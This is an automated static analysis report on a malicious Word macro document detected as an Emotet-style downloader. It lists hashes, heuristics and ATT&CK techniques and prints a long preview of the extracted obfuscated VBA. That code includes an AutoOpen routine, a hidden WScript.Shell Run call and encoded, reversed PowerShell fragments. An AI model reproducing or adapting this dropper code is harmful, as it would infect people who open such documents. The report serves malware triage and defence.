Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 513f19fa7e4fc551…

MALICIOUS

Office (OLE)

151.5 KB Created: 2018-03-16 17:58:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: 9ad6367be550aa51a97bb10a308851e0 SHA-1: ed11cf5b4cc1295056518ed25603e7f81297291c SHA-256: 513f19fa7e4fc551387bee33eaa94b8c57a3fcfbf4bcd3f790b3b854652367f1
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The macros utilize WScript.Shell and CreateObject, indicating an attempt to execute external code. The presence of a 'macros.bas' file and the ClamAV detection 'Doc.Malware.Emodldr-10025032-0' strongly suggest a downloader or dropper functionality. The script's obfuscated nature and truncated content prevent a more precise determination of its payload.

Heuristics 10

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          inGwm = cjCYa / HasjWR
      QqVbapiOEmQ = "WScript.Shell"
      wDlwcQ = lYGsD + NpqdFP
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          HNbXih = SuMmIr + pAirw
CreateObject(QqVbapiOEmQ).Run bjljUuusPuqO + Chr(VBA.vbKeyC) + iUCVHNiwILLc + miADK + MDLlFtui, vbHide
      ftzan = Hex(BXbsCn / Int(74296))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "HwoOOqmkdC"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37035 bytes
SHA-256: 3000da3b147b0d78b1c946880b2b712b618fdd7c46e467382d94c7cbf73da9d5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
725 of 1168 identifiers look randomly generated (e.g. 'iBAzAQOAEGAmBQNAEGA4AgYAADAjBgZAQDAhBgYA') — consistent with name-mangling obfuscation. Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wOizjOiHtnfw"
Function DNfoCDSEkvHj()
On Error Resume Next
      hEhWau = Hex(jcuzP / Int(13084))
      jGvCUv = wDvPsw / VtqJV
      FQDGbj = HssjT + Hlqjj
TsiXGjnkY = sUvRj("tpVAlBwNAYGA4AQNAEDAmBQYAMG1.Ba", 5 + 0, 24 + 0)
      AziBl = Hex(iwBKi / Int(8410))
      tiZSDo = knfGKM / drkfJG
      UdWPR = tnHzJo + ZkhTnv
      OoQMfD = Hex(IjCqH / Int(40966))
      YYODk = dnsia / ShtTkJ
      kFtUT = EOCOww + fbuSw
UovwYv = sUvRj("n7BdANAYGA1AQMAcDAlBwYAgDAhBQNAYGA4AAOE", 2 + 0, 33 + 0)
      IuObwm = Hex(plqPNR / Int(62891))
      lNfEuO = paZvhX / qmbXJ
      NViwi = zTYmBf + DuOPN
      rusmwp = Hex(shBmw / Int(82386))
      iwGUj = LrYJHo / rNcpw
      uAtFfr = QsFta + pFlLB
wWCnSYWZY = sUvRj("vB4z1ANAUGAmBgNAQDA1AANAMGA3AQMAQDAmBAMAYDAxAQZAcDAwAAZAkDAxAAMAcDAyAwMAADAyAwMAQGAmBQOAQDAkBQNAUGA1AAZAgDA2AAZAEGAhBAMAUGAwAwz", 2 + 0, 121 + 0)
      zFbAW = Hex(fHSViE / Int(22716))
      VwVota = ZjTlii / zRGCai
      VTzXW = jrvNB + mzskwS
      TSsHU = Hex(tvnrS / Int(59033))
      zToRJD = QzZWcs / iqzwcs
      jRwZjU = JUJBZ + iGUjI
zHBnHhr = sUvRj("f87WuOlZAIDAhBAOAkDA0AAMAYGAyAQNAMDAmBAZAUGAkBwYAMDAjBQMAQGAjBANAQDA0AQMAADA4L", 2 + 0, 70 + 0)
      AlUtVf = Hex(RPFqvq / Int(72673))
      TBrscj = HfPVCn / XWNot
      ILYbtE = kDiOL + LKEcrf
      GhzsvT = Hex(CsicB / Int(49954))
      DhPkA = GUjuK / cTSrV
      zpJto = uwMtfG + wcGDDT
OMCQCVroS = sUvRj("fTC.SeCIVrespoReTnI.emITnuR[ (iSnaGnIRtSoTRtp::]laHsRAm.SEcIVRespOreTNi.eMITnuR[(%Ld", 4 + 0, 78 + 0)
      hIXlB = Hex(ikrhk / Int(2992))
      QDkCK = ipEoNp / PNiWQ
      XPdpS = rjDKF + JiuOss
      CQrWO = Hex(PLhaqP / Int(85521))
      ESNVMA = SDkzhT / CznmQ
      XjYOQ = qaPPH + KzLikS
mtCfwlMa = sUvRj("nES3,kKQYAQDAxAgZAcDAyAAMAcDAyAANAUGA4AQYAMGAyAwYAUGAxAQMAkDAlBQMAMDAyAANAYDA3AgMAIDi", 2 + 0, 77 + 0)
      JPkMGZ = Hex(drIimE / Int(97528))
      YUuwE = KNCoc / XVMXO
      GGFmX = pjiwS + cDznYr
      rusrNH = Hex(UwNJbi / Int(1852))
      PTwrl = wzOIjX / iVIGu
      lwUwt = NjYMB + TpuHRQ
diwobilbI = sUvRj("itKLOAMGAwAgZAIGAhBwMAIDA2AgYAUGA3AANAYGA5AwMAYGAjBQOAEDAhBtp", 3 + 0, 55 + 0)
      NGvudj = Hex(kzmbED / Int(63637))
      PQuWC = YwXnNZ / iHaEr
      jLqDr = PUPzz + zBHZd
      jYJwG = Hex(cElAj / Int(32683))
      lFWBIN = XCiKz / TbTwY
      mOKls = tzjhp + zpzquP
vUtliRd = sUvRj("Z74tnNAUDA5AwMAMDAmBAOAkDA5AANAQDA3AgNAQDAmBQOAEGAwAgZAYDAmBgNAUDA2AQNAgDA2AwNAADapON", 5 + 0, 76 + 0)
      lzsph = Hex(wwkwAl / Int(78014))
      XilaTd = PPZpMu / IXchD
      nMuYdq = LIzfwB + ZLMQa
      HmnmbL = Hex(nfiFT / Int(47030))
      KtKRC = JCUAb / ctUCA
      ujTOfK = UDjta + uaXrP
TjSiXjPEO = sUvRj("VqKYAYGA1AwYAQGA5AQYAUDAjBAZAMDA2AQYAEDAlBQOAUDA3AANAkDAiBgNAEGAlBANAcDAwAQYAQDAjBAMAADA0AAZAEDAzAgZAYDAzAwNAUGAlBQYAM3G6", 5 + 0, 114 + 0)
      zLVZF = Hex(mKSjR / Int(36087))
      iNYsCw = zrhwc / twhjF
      ECChZ = OwszH + mNQwpV
      cwaWbS = Hex(LpoPBc / Int(98503))
      ECMXCZ = rcMzX / rNQoT
      jZWLUN = LrWSD + hcdrun
fYQawBrj = sUvRj("SiSKwAtpyEk- gNiRTsEruCES-OTTREvNOc| '==AA4AAMAgDAwAgZAkDAwAQYAYDAxAAMAIDA5AwYAkDA4AAOAADA0AAO", 2 + 0, 85 + 0)
      FGFzJ = Hex(uYUcXa / Int(66017))
      SQirrJ = OiVKJz / dOVWBz
      aUYBqS = rPzrVJ + LuzCd
      npcfm = Hex(XzDkF / Int(1583))
      MSkAZk = PrXkY / ZQRItb
      KWLKc = HqUHEX + DXPQbl
XzPdt = sUvRj("JfFAIGA0AAZAUDAlBwMAQDA0AgNAMDAjBwYAcDA0AQOAIDAlBAZAUDA5AwNAQDAkBQZAIGAkBwMAcDAmBQNAYGAkBAOAQGA4AAMAgDA5AAZAEDA3AQOAQDAiBQYAYG,V4BYs", 7 + 0, 123 + 0)
      pJwSr = Hex(njHiv / Int(81733))
      wYqGZY = civjTM / vCAAhH
      OAZtT = tbjmL + uhijJ
      SuwCT = Hex(aalML / Int(11453))
      ZfWDpf = BcIap / hOLFX
      MiSEu = vCNSan + CWzEz
ujHPIni = sUvRj("GuA2LANAMGAxAgZAIGA5AQYAkDA2AQNAQDAwAQO2", 2 + 0, 34 + 0)
      nHiQp = Hex(XNHVLO / Int(61366))
      stPHac = tcLjB / MmpjK
      fjLiO = SWQnhC + uwVIG
      jAIbM = Hex(CjijJi / Int(78115))
      vFhIG = tnDfza / mBlTQU
      EkAYU = SPDIL + fNGqmi
oPOzjjmBnar = sUvRj("SRzWtDA1AQOAQDA1AQNAQDA1AQYAEGAzAgMAMGA2AAOAgDA3AAMAQDAyAAMAADAyAgYAYGAmBwYAUGAwAwYAYGAxAQZAcDA1AQNAUGA4AANAIDAhBANAIDA4AANAUGA1AQOAgDAlBAZAEGAzAQOAQGAjBANAADAyAAMAcDA2AgZAMGAyAQOAUDq", 2 + 0, 177 + 0)
      EZwwd = Hex(lwQftP / Int(87237))
      QwKFI = nXijuT / vQfLz
      QQzInX = iUCjKt + SPRwk
      ZMhEi = Hex(mLihV / Int(19898))
      EBLZD = jEjiE / VrbQQ
      lmircL = ViOwY + MrWVlN
bjQpIdF = sUvRj("odqpZAAOAMGA0AQOAADAxAQOAQGAhBgNAgDA0AgZAEGAmBQYAIDAjBQMAkDAiBQNAEDA2AgMAIDAjBQYAEDAkBQMAcDAiBQNAgDAmBgMAYGAiBgMAdo", 3 + 0, 108 + 0)
      IjCPpd = Hex(qJRKvO / Int(92786))
      XoMZAT = dUHKGr / zVqCj
      BkSBwi = MNEAK + cThIMN
      pwUGT = Hex(jzWOWW / Int(12798))
      rtDwE = KrfbhK / tCMvEv
      HnaHk = kBIhzs + RzLNSj
LhIzwrDf = sUvRj("liTGAwAAMAUGAwAANAADA5AQZAIDAwAQYAMGA1AgYAkDAhBANAEDA1AwMAQGAlBQZAUDAiBwMAUGA0AgMAUDAyAQNAwHA9Aavmzp", 6 + 0, 92 + 0)
      AwTtYJ = Hex(nwJTR / Int(51611))
      JDSvN = BJjwb / ZRtrzd
      zzJUh = bczEwN + SfIwsR
      dzFjUN = Hex(FAGwNJ / Int(66133))
      BkqcG = GWPQt / AqGsKF
      KbBdnr = hsfiV + iUmMP
lJUJbn = sUvRj("KJagZAUDA3AgYAIDA1AAOAIGAiBwMAkDA4AwMAYGAiBANAUDAjBQOAIDAhBAOAYDAiBAZAQDAmBAZAUGAyAQOAMDAmBQMAADAjBwYAcDA0AAZAIGAwAgYAgDA0AgYAUGAhBgNAYDAhBAZAIDA1AQYAQGAzAgYAQGAmBAOAMGAwAAMAcDA3AANAEGAwAAuLzs", 5 + 0, 185 + 0)
      LnXaq = Hex(bbvPu / Int(25848))
      IWXuzG = lkdNr / ufHfDt
      KtzmAL = MPaSz + wNrGa
      JaZAES = Hex(PjRfYS / Int(58375))
      AzsiFi = GdzMjO / AoMCNz
      URtbUI = rnnci + fwoaY
CSTuOHX = sUvRj("qJiMfXeI| ) ) ) )521,471,151,091,92,89,091,981,641,13,791,05,021,811,1,052  A", 2 + 0, 71 + 0)
      NTwCs = Hex(cbicSV / Int(9494))
      AjhwGl = oPpKj / qICAm
      FmaXPA = sjZOUS + EXzQp
      iQnjU = Hex(oTOwZ / Int(11920))
      fXtYn = AUacu / vwCjAG
      loCiK = wqFww + FWjNX
XTfsvW = sUvRj("fPOsVDA5AgMAYGA2AQOAIDA2AgMAQDAiBQZAEDA1AAMAkDAjBgNAkDAzAQOAYDAzAwMAEDAmBgZAADAiBQZAQGAhBQYAcDAwAgZAMDAyAgMAQDAmBAMAYGA5AQYAMGAwAgZAUDAmBgZAQDAwAgZAMDAlBQZAYDA2AgNAQGAxAgMAYDAwAwNAIDA5AwMAcDAxAANAEDAw", 2 + 0, 194 + 0)
      jzaWu = Hex(oszYW / Int(71815))
      NrGUfc = iVoLvW / bpMMjf
      UHrPt = uRCaUT + kJwCE
      AtIMo = Hex(IaRzFn / Int(8877))
      lBnIsF = IkwjC / aKpzMm
      mCEPQ = zwRrhd + mcCPr
sroJRAll = sUvRj("G2QYAUGA0AgMAEDAwAwNAQGAyAwNAYGA4AwYAIGAiBAZAMDA2AAZAMGA0AQZAEDA5AgNAYGAiBQNAQDAxAgRo,Kwzb", 8 + 0, 81 + 0)
      IksIL = Hex(lJiQcA / Int(84789))
      zrjwX = zFaqtP / rAzIZ
      uiWut = jfjRip + pcOusG
      cpIQNG = Hex(VpHCzd / Int(35645))
      LusPb = TYzVS / VJauo
      WLMHBm = mhbvd + rWwkS
nipinzEsG = sUvRj("TJPHQ rEDAhBQZAMDAkBgNAIGAmBQZAYDAyAwMAgDA1AgNAIDA4AwYAYDAwAgZAkDAjBgMAUDA5AAOAkDAxAQZAEGAzAQYAUDAwAQNAkDA5AAMAADAiBgYAYGAwAQMAgDAzAgYAYDAkBAMAYGA3AANAkDAkBp", 2 + 0, 149 + 0)
      ziiIR = Hex(vvzNM / Int(29559))
      NCGHN = tFIoV / dWPakY
      HjrSs = vwGrH + VMiPD
      zTHiTL = Hex(NrKfSa / Int(77500))
      rSKXR = kPCbzM / Erwjnc
      YMsqG = ZAcvpL + PdLjc
FDcoojbQm = sUvRj("ESNqdQMAcDAjBAMAEGAjBQOAEGAxAQYAcDA1AQYAQGAiBQMAkDAjBgNAEDA4AwYAIGA3D", 2 + 0, 63 + 0)
      jPEFDU = Hex(JIzNvf / Int(95874))
      pfaURj = jnHlo / TbfMH
      wqUHp = HZQBO + KNXZzl
      QPMGta = Hex(ALvlP / Int(7254))
      Fsftjb = MSjlI / hIKTjt
      oJpLII = zjvFpE + zjYzZ
XMcRK = sUvRj("uLi2h3FqzAwYAMGw", 2 + 0, 7 + 0)
      SDzfVl = Hex(lrBcBV / Int(8142))
      vDTkXm = jWbvD / kclTKC
      kMJqXU = FfSET + ICdEO
      qAwoL = Hex(rhVlt / Int(19310))
      abOPED = drrPY / MWiaj
      fjmtW = QdHnUj + WWDNEA
CLFic = sUvRj("iBAzAQOAEGAmBQNAEGA4AgYAADAjBgZAQDAhBgYAkDAxAQYAMGA1AQNAUGA3AgYAMGAzAwMAkDAmBwYAIDAyAgMAEDAhViLf@S", 7 + 0, 90 + 0)
      zYrzJh = Hex(rLVzv / Int(10122))
      iunhsU = aBpWHm / wJIdZ
      GGonk = fYSmoY + qsbPfL
      TpPKYl = Hex(qhuBlp / Int(4111))
      vJDnPc = jKtMIH / PamMfA
      SwRnZ = TkWOO + dotYC
wWWZIJnLtB = sUvRj("Q7mONKAiBwYAMGAmBAZAEGAiBQMAIGAyAwNAgDAkBANAUGAwAAOAIDA0AQMAMDAwAQNAQDAjBQOAIDA0AQOAMDAhBgNAkDAwRo4", 4 + 0, 90 + 0)
      LiIEQM = Hex(kARTPZ / Int(20013))
      EdLmA = MRwniz / dBWCkd
      RQNhE = oPBQH + ETYLhm
      sUTfJh = Hex(vikTu / Int(69769))
      VsQzY = zRAfH / wfirAB
      VLsYXs = iAsjiO + rbSFl
oFrllviUj = sUvRj("oVFEDTAAMAUDA3AAZAYGA3AAOAcDAmBwNAUGAmBwMAkDAhBAZAIGA0AAMAYDAmBwMAEGAyAQZAkDAwAQOAUGAyAAMAgDA5AQZAgDAwAQMAIDAlBgMAUGA3AwMAMDA5AgYAMGAmBwMAkDAzAwM", 2 + 0, 138 + 0)
      GibTo = Hex(KkXNn / Int(69541))
      QOwdU = FZdwZQ / sbEEPm
      pXnkY = ziNLnF + QwIsww
      iirZX = Hex(ZUQlro / Int(71152))
      MDHZci = CkhiiO / KctPFK
      LXslz = DQATwf + AcTLwQ
UbXWIwpCFwG = sUvRj("tiBv3wBAZAkDAyAgMAEGA5AANAQGAxAANAMDA3AwMAUGAkBAZAUGAlBgZAYGAmBANAEDAzAwYAMGA5AANAQGAzAgNAMGA2AgYAMGLs", 3 + 0, 94 + 0)
      czKqoP = Hex(Knscja / Int(64036))
      fOnfw = lkNmDb / iJhTpT
      NNCwi = scHrNF + AwEXQ
      TJfoGA = Hex(QHMdhF / Int(48172))
      OpTXdt = Ywauu / cbdBS
      MZFmYn = TjNXZT + hXNvHX
tmMtz = sUvRj("J2DAwAwYAcDAyAAZAMGAzAwNAEDA0AQNAQDAkBAZAMDAwAQNAEDAiBAZAkDA5AQOAYDA1AAZAIGAzAwNAQDA3AgMAUDA0AQNAQDAxAgNAUDAWJdzO", 6 + 0, 106 + 0)
      tliOLF = Hex(ofjcP / Int(33036))
      XICvk = apLZAb / jEOit
      HSnXYM = fiEivK + QJOKz
      GJEBw = Hex(RAjiA / Int(23592))
      RClqu = ioQFE / aKAhio
      FLKJW = UoNWi + zinBJ
vpPNTuuUa = sUvRj("4tunzvgZAgDAxAQOAcDA2AwMAIGA4AgNAUGAiBgNAEDA3AANAIDAzAgZAMGAwAwNAkDAzAgNAEGAkBAZAcDAzAgMAYDA0AAZAYDA0AgMAMDA2AQOAQDAwAgZAADAzAgMAYDAwAwYAIf4", 3 + 0, 132 + 0)
      SmApf = Hex(EzCYsR / Int(35430))
      pzGMGt = iajUR / vFRmJr
      PCDPj = FWFvw + DjUCbb
      MXqQHV = Hex(ARGtu / Int(10923))
      HzoXK = zUOPka / tZsvnw
      hklwAL = whunw + KLwQjj
nDBEaBDQim = sUvRj("BvJwAgYAEGA1AgMAIGAzAgZAIDAyAAOAMGAmBgYAEDAyAgZAEDAwAgMAcDA1AQYAIGAxAQNAADAmBQMAkDA0AQZAADA5AgYAMDA1AgYAADA5AAOAMGAiBgZAYGAxAgZAYGAyAANAYfvqRNU", 7 + 0, 134 + 0)
      zsIaf = Hex(mdbZKG / Int(93541))
      iWNqW = nAmUco / XiabPD
      opcKSU = iVIjj + XcokZJ
      JUwRz = Hex(LwIzw / Int(18549))
      UHlIYu = lKOztw / YppFh
      zKHGlE = JDBwt + sSCUiX
DDKLa = sUvRj("w.L@zGAxAwNAQGA3AAZAUGA5AwMAMGA0AANAEGAkBQNAQDAhBgZAUDA3AQZAEDAxAwYAgDAmBgMAIDAmBAMAQDA0AAZAQDAzAgYAADA2AQMAQDA0AQNAIGAhBwNAUGAlBAMAYGA3AAOAgDA4AAOAIGA3AAOAMGAlBANAUDA1ApGZ", 4 + 0, 164 + 0)
      ijzFwY = Hex(NmITtP / Int(35858))
      KAiXT = ihISDS / oWVGh
      MTLBI = FzWui + iIrIC
      fkJEA = Hex(CjEaJ / Int(15682))
      WPLvo = VJCrrK / dJwDHE
      ziTKv = vpiMwL + ZXjwWu
hwzXdTTQOU = sUvRj("OF2YkovCA3AwYAYDAyAQOAMGAjBQZAIGAxAAZAIDAkBwNAUGAhBgNAMDAwAQNAEGA4AQYAEDAzAQNAEGAwAAMAYDA3AQYAQGA0AQMAYDAwAgMAEGAxAAMAMDA2AAMAEGA2AgYAYDAkBwMAEGA3AAMAIDA5AQZAYDAzAQNAEDAmBgZAYGAms", 2 + 0, 170 + 0)
      XDcsR = Hex(QkthBS / Int(9113))
      GrwBzz = jiqujW / FcCjN
      muBatA = LwzKi + oSjku
      szWHGE = Hex(prjFk / Int(67269))
      Vlzkof = wwmFa / uinqK
      QWmCM = BbRpcl + WwCZoO
aTYbMtzifOR = sUvRj("qOpFFqA2AwMAEGAwAgNAgDA3AwYAMDAhBQOAMDAhBANAEGAzAQNAYDA0AQYAMGA2AgZAADAkBQOAcDA@", 2 + 0, 73 + 0)
      KRwDjC = Hex(wUKEsu / Int(35858))
      GiilI = DrGUBc / KsEwc
      HzajSK = DGGljq + EqTrD
      uwjqrU = Hex(jpShS / Int(28981))
      EnTco = iRCLbt / cIWYJp
      PVtlDk = GdfqqM + wFpRf
JiFYtWI = sUvRj("7IuKAYGAwAQijt3", 5 + 0, 7 + 0)
      LdwVP = Hex(YpaTuX / Int(54457))
      titiZ = zcnWU / jmdDjG
      XfmYYV = LBfKl + OoQPL
      zWfTI = Hex(FnaMzN / Int(14049))
      doTkK = JXjPHq / JYkKzw
      sYtOLz = BZwbD + cklWOl
FrbKXKu = sUvRj("fk,dLAzAgNAQDA0AgZAYGAkBQYAIGAzAwYAEGA0AQMAMDAxAgZAYGAhBQNAMGAyAAOAUGA0AwMAUDAjBgZAUDA1AgMAMDA3AAMAADA0AwYAUDAyAgNAADA3AwNAQDA5AQZAIGAkBwNAADA1AAMp", 3 + 0, 140 + 0)
      AZpPLS = Hex(vPqCz / Int(29154))
      JFuEZ = bIwko / wAZnN
      OWuSid = tmMmi + dofTiq
      tWPAtO = Hex(EzYLJ / Int(1702))
      UEFlX = zskfjN / EazNfa
      AZzbPK = FzNLB + BWvXq
NbfYhjHjw = sUvRj("tvaJ%wAwAAOAUGAkBQOAIDAhBQOAgDAlBAMAYDAjBgMAYDA5AAZAcDA4AwMAUDA0AQNAADAzAQMAEDA1AwMAADAhBwMAIGA3AQMAIDAkBAZAUDA2AwNAcDA2AgZAIGA0AgMAADAzAQOAADA0AAMAgq", 2 + 0, 143 + 0)
      wBAlj = Hex(fiBdB / Int(20034))
      iKPuFi = NXrvX / fzjif
      XXcoz = PHjfHb + DfSElb
      WjpEkw = Hex(liDRzM / Int(56354))
      oLXRpk = fZrRnc / ZhsGr
      oKRwPk = bqJcZ + aUjLN
tWsDaaIJS = sUvRj("v7vAgDAmBQNAYGA0AQNAMGAiBQMAADA2AwYAgDA1AgMAQDAjBQMAEGAiBgYAcDAmBQNAQDAkBAMAEGAjBANAYGA2AQNAYGA4AwMAgDAzAwMAgDA4AAZAIGA2AAOAk8knWE2", 7 + 0, 122 + 0)
      FjAQN = Hex(IwRFW / Int(48586))
      Ufzitb = EcLpP / sUCAp
      fqmOn = EdGlqW + jiFoc
      bjrhv = Hex(cLhDqA / Int(31277))
      HFzBB = PFoYoO / TTqFO
      wvmNT = oQhCli + XAOAS
jIjBFYYh = sUvRj("OoKpc5AQYAQGA0AQZAYDAhBwMAEGAzAwMAUDAzAAOAADA0AAMAgDA5AQZAEDA2AAZAIGA1AANAIGAhBgMAADAjLRo", 4 + 0, 80 + 0)
      ZoKWr = Hex(sjTJr / Int(82465))
      ctTNVr = MMTiCD / XrIFTX
      oSmYuv = IVHqLn + YDmtI
      WkUZwk = Hex(JawhdB / Int(31773))
      twvuG = bchrjQ / KFHUD
      ANzmq = owJir + UlOzO
QzqSrrww = sUvRj("vMAAOAYDAiBQOAYDA2AgNAkDA5AgYAgDAwAQZAIDAwAgZAUDAmBQOAIDAjBQYAEDAhBQZAIGA0AQYAYDA1AQMAIDA1AAZAADA3AQMAcDAwASN4Q", 5 + 0, 105 + 0)
      SEmuIn = Hex(NUKwVr / Int(25275))
      hPMvL = jSrSz / oPfHLq
      BziGE = EcrdA + nicnVC
      stMLfM = Hex(vzoOdV / Int(94105))
      JowIqr = ZPijv / iIXbj
      VZpch = rALEia + CuXhip
tztjFkficQ = sUvRj("%KBQNAMDA2AQZAEGAlBAOAUGA1AANAgDAxAAMAQGAkBAZAMDA3AAOAgDAhBAMAMGAmBwNAgDA5AwNAEGAxAgYAQDAmBANAUDAhBwYAEDAzAQNAYGA5AAOAIDA2AQOAEDAyAQNAADzNfi", 5 + 0, 134 + 0)
      zUTwcw = Hex(ARpQm / Int(88041))
      bSTMP = wrNVh / EtfGa
      lvSBGs = iSqiVn + hZabDV
      wirMm = Hex(kVqsqR / Int(79480))
      wkNXK = tzkZoC / zHPpP
      KiZuv = PftoBY + cjNUSV
OdlXow = sUvRj("UF7QOAQGA1AANAUDA1AQOAkDAhBgMAYDAyAAZAQDAjBAMAMDAjBANAIDAyAwYAEGAzAgNAQDAhBAZAYDAyAANAMDA5AQNAYDAhBwMAMDAjBQZAIGA5AAZAcDA1AAMAkDAjBgYAEDA4AQYAcDA0AQNAZSVj5", 6 + 0, 147 + 0)
      CKAwS = Hex(kVnOa / Int(4838))
      wivWqR = uwzJiA / afjnz
      zRAda = XLtsfO + zpwnqi
      zSOIS = Hex(CHXzsq / Int(2511))
      Qwpdw = SGcnGL / pjpJNN
      VibnO = IaaNZo + jCpqH
fJJopAQ = sUvRj("0osR4dEAgMAgDAwAQZAUDAmBAMAUDA1AQMAQGA0AgYAMGAlBQMAIGA5AgYAYDA4AAMAcDAjB4", 2 + 0, 65 + 0)
      Dzqpb = Hex(GFMbh / Int(76886))
      drqlXC = OjrjP / RHrmr
      BGJMip = kIdwz + ZuLNtR
      hlRwVO = Hex(cCwMLR / Int(99594))
      oUGzsw = qTEBRE / JLMKqo
      FrmYl = iwTuzF + iJEjfu
FzPztmBdvP = sUvRj("38,DAiBgMAMGA3AANAQGA0AgNAgDA2AQOAMGAlBQNAgDA1AAMAUGAwAgYAEGAlBwMAQDA4AwYAQDAmBQOAYGAlBwMAUDA0AQYAYGAkBwMAgDAiBAOAADAhBgMAUDAv8s@", 5 + 0, 122 + 0)
      vzsTw = Hex(ptlAA / Int(51543))
      UidTb = CvrAK / MYEzG
      fvlOHz = cNEpN + tWtMA
      bvvRM = Hex(HfdJwj / Int(81749))
      zFfPlT = JcltzU / bmUZEN
      YKHqm = wQrcjb + ShBMXa
JGHvbK = sUvRj("qfBQYAkDAlBgZAUGA1AgMAUDA3AQMAMGAkBAZAkDAmBwMAgDAjBANAMDA1AQOAQDAxAgMAIDAwAQZAJ7Mf", 5 + 0, 76 + 0)
      RTKXNd = Hex(DqpXfc / Int(47836))
      vYYzUh = kIMYbI / lHBdhw
      AjdIS = aCFBwU + mdnYGz
      OSKWMv = Hex(TcuSU / Int(33071))
      zYZLm = YGqWps / wYlzz
      Kljps = MldlwL + jcvrhX
CdKcGYp = sUvRj("7wnvAwMAEqOQs", 5 + 0, 5 + 0)
      TYHbo = Hex(UZUurv / Int(41112))
      GlTjj = azuVsK / ItAhDb
      rldEBM = mRiuD + idqcHB
      jrUGXw = Hex(TLAVz / Int(51477))
      qibOGX = BhVulS / RTOpVZ
      ZrnmX = KkmQo + QWmSwl
ZYWAXrZ = sUvRj("qm7iR1AQNAUDAlBAOAgDA3AANAYDA3AwNAYDA2AQOAIDA1AgYAQDA4AQZAEGA1AAMAEGAjBAZAYGA0AwMAcDA0AAZAQGAiBwNAkDA1AAZAYGAiBwMAIDAlBQMAMDAzAQYAQDAzAQYAkDA2AAZAADA1AwMAMGAzAQYAkDA5AQZAQGAkBAMAEDA1v", 2 + 0, 177 + 0)
      EhJwMl = Hex(ZBrlfi / Int(2441))
      QnobiN = RvEFB / afBRD
      UXQsaA = jIsAkJ + oFziVD
      tXWNM = Hex(PcPbGC / Int(73577))
      EPhZJ = BFujJf / DoHIX
      oDFVGM = DlPPMU + fvhQWj
XtptBqq = sUvRj("BpOAUGAyAQMAQGA4AQOAYGAyAQMAgDAjBAMAIGA5AgNAYDAjBgZAQGA0AwMAMGAmBgYAgDA2AQOAMDA2AQYAIGAkBAZAYDA1AQOAUDA0AAMAYGAxAgMAQDA0AQZAEDA3AgYAgDA5AAOAQDAlBQMAMGAlBAZ@iijB4", 7 + 0, 153 + 0)
      YncnE = Hex(NLoISi / Int(36843))
      HwtbMh = PqfWop / IHqloX
      PdiBf = rzHwi + sXzno
      totcQA = Hex(SIhmmi / Int(82610))
      zEuQER = JsmuEa / bRkGn
      ZiFvrV = RuHSJV + FDuJUX
pZcwQnnKq = sUvRj("TpODAhBQMAADAkBwMAgDAwm7tfC", 6 + 0, 19 + 0)
      fBqWv = Hex(HjQCf / Int(91070))
      OQzwZ = VbOlUl / zFXWal
      iuhPZ = DokiEm + ONpEv
      tOzDqn = Hex(sJzFiv / Int(83759))
      ziGas = AmTqw / ZEodl
      JcUhf = aLmcoM + zarrj
saEDUuKp = sUvRj("wW.UMO5AwYAkDAhBwYAADAyAgZAYDAkBwNAEDAyAwNAYGAwAgZAYGA1AQNAUDAkBAZAYGAxuz", 3 + 0, 65 + 0)
      KAptbf = Hex(rWGoV / Int(43561))
      VlPEQ = JzhTX / GmBqhN
      tbNUi = BSFEFw + StiLK
      wmtnV = Hex(wYqMiv / Int(5101))
      bbuAC = GQQUQZ / kAdZL
      IfYDku = EjHzsE + MLQQaM
TPVmPk = sUvRj("MwADAzAgYAEDAwAAOAYDA2AgYAkDAlBQYAIDA0AAOAYGAwAgNAYDA5AANAcDAlBAOAMGAlBgMAMDAiBgMAYDAhBQOAYGAzAANAQDA0AgMAIDA5AQYAYGAjBQMAIDAmB,Qut", 5 + 0, 125 + 0)
      OfWZX = Hex(tMYNmT / Int(39059))
      mDXKGG = aJRbLd / YjMzzE
      ACiNwC = HtNZkC + IsGTF
      zWizGX = Hex(JrwTsv / Int(72879))
      wmRoN = VzSifK / DnOjzj
      kWzdT = NFzoh + GiGZdn
